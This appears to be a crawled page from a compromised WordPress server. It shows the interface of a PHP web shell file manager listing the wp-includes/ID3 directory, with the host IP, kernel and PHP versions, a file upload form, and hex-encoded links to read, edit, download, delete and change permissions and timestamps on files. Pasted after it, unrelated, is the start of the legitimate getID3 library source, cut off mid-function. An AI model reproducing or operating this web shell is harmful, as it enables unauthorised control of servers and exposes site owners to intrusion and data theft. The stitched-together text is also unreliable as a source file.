<!DOCTYPE html>
	<html dir="auto" lang="en-US">

			<link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" />
			<link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css">

			<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
			<script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
		</head>

		<body>
			<header>
				<div class="y x">
					<a class="ajx" href="atomlib.php">
						NG4R3P
					</a>
				</div>

				<div class="q x w">
					
				</div>
				
			</header>

			<article>
				<div class="i">
					<i class="far fa-hdd"></i>
					Linux backups 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
					<br />

					<i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT  :</b> Apache/2.4.18 (Ubuntu) <b>PHP :</b> 7.2.34-8+ubuntu16.04.1+deb.sury.org+1
					<br />

					<i class="far fa-folder"></i>
					
					<a class="ajx" href="?d=2f">/</a><a class="ajx" href="?d=2f766172">var</a>/<a class="ajx" href="?d=2f7661722f777777">www</a>/<a class="ajx" href="?d=2f7661722f7777772f6974616970617661">itaipava</a>/<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c75646573">wp-includes</a>/<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433">ID3</a>/
					<br />

				</div>

				<div class="u">
					138.68.56.76 <i class="fas fa-link"></i>
					<br />

					<br />

					<form method="post" enctype="multipart/form-data">
						<label class="l w">
							<input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD
						</label>&nbsp;
					</form>

					
				</div>
					<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th width="44%">[ NAME ]</th>
								<th width="11%">[ SIZE ]</th>
								<th width="17%">[ PERM ]</th>
								<th width="17%">[ DATE ]</th>
								<th width="11%">[ ACT ]</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td>
									<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&n">+FILE</a>
									<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&l">+DIR</a>
								</td>
							</tr>
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6765746964332e6c69622e706870">getid3.lib.php</a>
							</td>
							<td class="x">
								45.737 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6765746964332e6c69622e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6765746964332e6c69622e706870">2017-07-31 13:50</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6765746964332e6c69622e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6765746964332e6c69622e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6765746964332e6c69622e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6765746964332e6c69622e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6765746964332e706870">getid3.php</a>
							</td>
							<td class="x">
								65.014 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6765746964332e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6765746964332e706870">2017-07-31 13:50</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6765746964332e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6765746964332e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6765746964332e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6765746964332e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6c6963656e73652e636f6d6d65726369616c2e747874">license.commercial.txt</a>
							</td>
							<td class="x">
								1.276 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6c6963656e73652e636f6d6d65726369616c2e747874">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6c6963656e73652e636f6d6d65726369616c2e747874">2015-06-27 18:17</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6c6963656e73652e636f6d6d65726369616c2e747874">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6c6963656e73652e636f6d6d65726369616c2e747874">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6c6963656e73652e636f6d6d65726369616c2e747874">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6c6963656e73652e636f6d6d65726369616c2e747874">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6c6963656e73652e747874">license.txt</a>
							</td>
							<td class="x">
								1.324 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6c6963656e73652e747874">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6c6963656e73652e747874">2015-06-27 18:17</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6c6963656e73652e747874">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6c6963656e73652e747874">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6c6963656e73652e747874">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6c6963656e73652e747874">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6d6f64756c652e617564696f2d766964656f2e6173662e706870">module.audio-video.asf.php</a>
							</td>
							<td class="x">
								123.979 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6d6f64756c652e617564696f2d766964656f2e6173662e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6d6f64756c652e617564696f2d766964656f2e6173662e706870">2017-07-31 13:50</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6d6f64756c652e617564696f2d766964656f2e6173662e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6d6f64756c652e617564696f2d766964656f2e6173662e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6d6f64756c652e617564696f2d766964656f2e6173662e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6d6f64756c652e617564696f2d766964656f2e6173662e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6d6f64756c652e617564696f2d766964656f2e666c762e706870">module.audio-video.flv.php</a>
							</td>
							<td class="x">
								24.802 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6d6f64756c652e617564696f2d766964656f2e666c762e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6d6f64756c652e617564696f2d766964656f2e666c762e706870">2017-07-31 13:50</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6d6f64756c652e617564696f2d766964656f2e666c762e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6d6f64756c652e617564696f2d766964656f2e666c762e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6d6f64756c652e617564696f2d766964656f2e666c762e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6d6f64756c652e617564696f2d766964656f2e666c762e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6d6f64756c652e617564696f2d766964656f2e6d6174726f736b612e706870">module.audio-video.matroska.php</a>
							</td>
							<td class="x">
								102.068 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6d6f64756c652e617564696f2d766964656f2e6d6174726f736b612e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6d6f64756c652e617564696f2d766964656f2e6d6174726f736b612e706870">2017-07-31 13:50</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6d6f64756c652e617564696f2d766964656f2e6d6174726f736b612e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6d6f64756c652e617564696f2d766964656f2e6d6174726f736b612e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6d6f64756c652e617564696f2d766964656f2e6d6174726f736b612e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6d6f64756c652e617564696f2d766964656f2e6d6174726f736b612e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6d6f64756c652e617564696f2d766964656f2e717569636b74696d652e706870">module.audio-video.quicktime.php</a>
							</td>
							<td class="x">
								137.497 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6d6f64756c652e617564696f2d766964656f2e717569636b74696d652e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6d6f64756c652e617564696f2d766964656f2e717569636b74696d652e706870">2017-07-31 13:50</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6d6f64756c652e617564696f2d766964656f2e717569636b74696d652e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6d6f64756c652e617564696f2d766964656f2e717569636b74696d652e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6d6f64756c652e617564696f2d766964656f2e717569636b74696d652e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6d6f64756c652e617564696f2d766964656f2e717569636b74696d652e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6d6f64756c652e617564696f2d766964656f2e726966662e706870">module.audio-video.riff.php</a>
							</td>
							<td class="x">
								119.793 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6d6f64756c652e617564696f2d766964656f2e726966662e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6d6f64756c652e617564696f2d766964656f2e726966662e706870">2017-07-31 13:50</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6d6f64756c652e617564696f2d766964656f2e726966662e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6d6f64756c652e617564696f2d766964656f2e726966662e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6d6f64756c652e617564696f2d766964656f2e726966662e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6d6f64756c652e617564696f2d766964656f2e726966662e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6d6f64756c652e617564696f2e6163332e706870">module.audio.ac3.php</a>
							</td>
							<td class="x">
								37.253 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6d6f64756c652e617564696f2e6163332e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6d6f64756c652e617564696f2e6163332e706870">2017-07-31 13:50</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6d6f64756c652e617564696f2e6163332e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6d6f64756c652e617564696f2e6163332e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6d6f64756c652e617564696f2e6163332e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6d6f64756c652e617564696f2e6163332e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6d6f64756c652e617564696f2e6474732e706870">module.audio.dts.php</a>
							</td>
							<td class="x">
								10.222 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6d6f64756c652e617564696f2e6474732e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6d6f64756c652e617564696f2e6474732e706870">2015-06-27 18:17</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6d6f64756c652e617564696f2e6474732e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6d6f64756c652e617564696f2e6474732e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6d6f64756c652e617564696f2e6474732e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6d6f64756c652e617564696f2e6474732e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6d6f64756c652e617564696f2e666c61632e706870">module.audio.flac.php</a>
							</td>
							<td class="x">
								18.083 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6d6f64756c652e617564696f2e666c61632e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6d6f64756c652e617564696f2e666c61632e706870">2015-06-27 18:17</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6d6f64756c652e617564696f2e666c61632e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6d6f64756c652e617564696f2e666c61632e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6d6f64756c652e617564696f2e666c61632e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6d6f64756c652e617564696f2e666c61632e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6d6f64756c652e617564696f2e6d70332e706870">module.audio.mp3.php</a>
							</td>
							<td class="x">
								97.439 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6d6f64756c652e617564696f2e6d70332e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6d6f64756c652e617564696f2e6d70332e706870">2017-07-31 13:50</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6d6f64756c652e617564696f2e6d70332e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6d6f64756c652e617564696f2e6d70332e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6d6f64756c652e617564696f2e6d70332e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6d6f64756c652e617564696f2e6d70332e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6d6f64756c652e617564696f2e6f67672e706870">module.audio.ogg.php</a>
							</td>
							<td class="x">
								38.947 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6d6f64756c652e617564696f2e6f67672e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6d6f64756c652e617564696f2e6f67672e706870">2017-07-31 13:50</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6d6f64756c652e617564696f2e6f67672e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6d6f64756c652e617564696f2e6f67672e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6d6f64756c652e617564696f2e6f67672e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6d6f64756c652e617564696f2e6f67672e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6d6f64756c652e7461672e6170657461672e706870">module.tag.apetag.php</a>
							</td>
							<td class="x">
								18.014 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6d6f64756c652e7461672e6170657461672e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6d6f64756c652e7461672e6170657461672e706870">2017-07-31 13:50</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6d6f64756c652e7461672e6170657461672e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6d6f64756c652e7461672e6170657461672e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6d6f64756c652e7461672e6170657461672e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6d6f64756c652e7461672e6170657461672e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6d6f64756c652e7461672e69643376312e706870">module.tag.id3v1.php</a>
							</td>
							<td class="x">
								12.405 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6d6f64756c652e7461672e69643376312e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6d6f64756c652e7461672e69643376312e706870">2017-07-31 13:50</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6d6f64756c652e7461672e69643376312e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6d6f64756c652e7461672e69643376312e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6d6f64756c652e7461672e69643376312e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6d6f64756c652e7461672e69643376312e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6d6f64756c652e7461672e69643376322e706870">module.tag.id3v2.php</a>
							</td>
							<td class="x">
								146.807 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6d6f64756c652e7461672e69643376322e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6d6f64756c652e7461672e69643376322e706870">2017-07-31 13:50</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6d6f64756c652e7461672e69643376322e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6d6f64756c652e7461672e69643376322e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6d6f64756c652e7461672e69643376322e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6d6f64756c652e7461672e69643376322e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=6d6f64756c652e7461672e6c7972696373332e706870">module.tag.lyrics3.php</a>
							</td>
							<td class="x">
								12.267 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=6d6f64756c652e7461672e6c7972696373332e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=6d6f64756c652e7461672e6c7972696373332e706870">2017-07-31 13:50</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=6d6f64756c652e7461672e6c7972696373332e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=6d6f64756c652e7461672e6c7972696373332e706870">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=6d6f64756c652e7461672e6c7972696373332e706870">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=6d6f64756c652e7461672e6c7972696373332e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&s=726561646d652e747874">readme.txt</a>
							</td>
							<td class="x">
								24.074 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&k=726561646d652e747874">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&t=726561646d652e747874">2014-09-11 13:07</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&r=726561646d652e747874">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&e=726561646d652e747874">E</a>
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&g=726561646d652e747874">G</a>
								
								<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&x=726561646d652e747874">D</a>
							</td>
						</tr>
						
						</tbody>
						<tfoot>
							<tr>
								<th class="et">
									<a class="ajx" href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&y">REQUEST</a>
									<a href="?d=2f7661722f7777772f69746169706176612f77702d696e636c756465732f494433&q">EXIT</a>
								</th>
								<th class="et" width="11%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="11%"></th>
							</tr>
					</tfoot>
				</table>
			</article>
			<footer class="x">
				
			</footer>
			
			<script>
				$(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
			</script>
		</body>
	</html>
<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
//                                                             //
// getid3.lib.php - part of getID3()                           //
// See readme.txt for more details                             //
//                                                            ///
/////////////////////////////////////////////////////////////////


class getid3_lib
{

	public static function PrintHexBytes($string, $hex=true, $spaces=true, $htmlencoding='UTF-8') {
		$returnstring = '';
		for ($i = 0; $i < strlen($string); $i++) {
			if ($hex) {
				$returnstring .= str_pad(dechex(ord($string{$i})), 2, '0', STR_PAD_LEFT);
			} else {
				$returnstring .= ' '.(preg_match("#[\x20-\x7E]#", $string{$i}) ? $string{$i} : '¤');
			}
			if ($spaces) {
				$returnstring .= ' ';
			}
		}
		if (!empty($htmlencoding)) {
			if ($htmlencoding === true) {
				$htmlencoding = 'UTF-8'; // prior to getID3 v1.9.0 the function's 4th parameter was boolean
			}
			$returnstring = htmlentities($returnstring, ENT_QUOTES, $htmlencoding);
		}
		return $returnstring;
	}

	public static function trunc($floatnumber) {
		// truncates a floating-point number at the decimal point
		// returns int (if possible, otherwise float)
		if ($floatnumber >= 1) {
			$truncatednumber = floor($floatnumber);
		} elseif ($floatnumber <= -1) {
			$truncatednumber = ceil($floatnumber);
		} else {
			$truncatednumber = 0;
		}
		if (self::intValueSupported($truncatednumber)) {
			$truncatednumber = (int) $truncatednumber;
		}
		return $truncatednumber;
	}


	public static function safe_inc(&$variable, $increment=1) {
		if (isset($variable)) {
			$variable += $increment;
		} else {
			$variable = $increment;
		}
		return true;
	}

	public static function CastAsInt($floatnum) {
		// convert to float if not already
		$floatnum = (float) $floatnum;

		// convert a float to type int, only if possible
		if (self::trunc($floatnum) == $floatnum) {
			// it's not floating point
			if (self::intValueSupported($floatnum)) {
				// it's within int range
				$floatnum = (int) $floatnum;
			}
		}
		return $floatnum;
	}

	public static function intValueSupported($num) {
		// check if integers are 64-bit
		static $hasINT64 = null;
		if ($hasINT64 === null) { // 10x faster than is_null()
			$hasINT64 = is_int(pow(2, 31)); // 32-bit int are limited to (2^31)-1
			if (!$hasINT64 && !defined('PHP_INT_MIN')) {
				define('PHP_INT_MIN', ~PHP_INT_MAX);
			}
		}
		// if integers are 64-bit - no other check required
		if ($hasINT64 || (($num <= PHP_INT_MAX) && ($num >= PHP_INT_MIN))) {
			return true;
		}
		return false;
	}

	public static function DecimalizeFraction($fraction) {
		list($numerator, $denominator) = explode('/', $fraction);
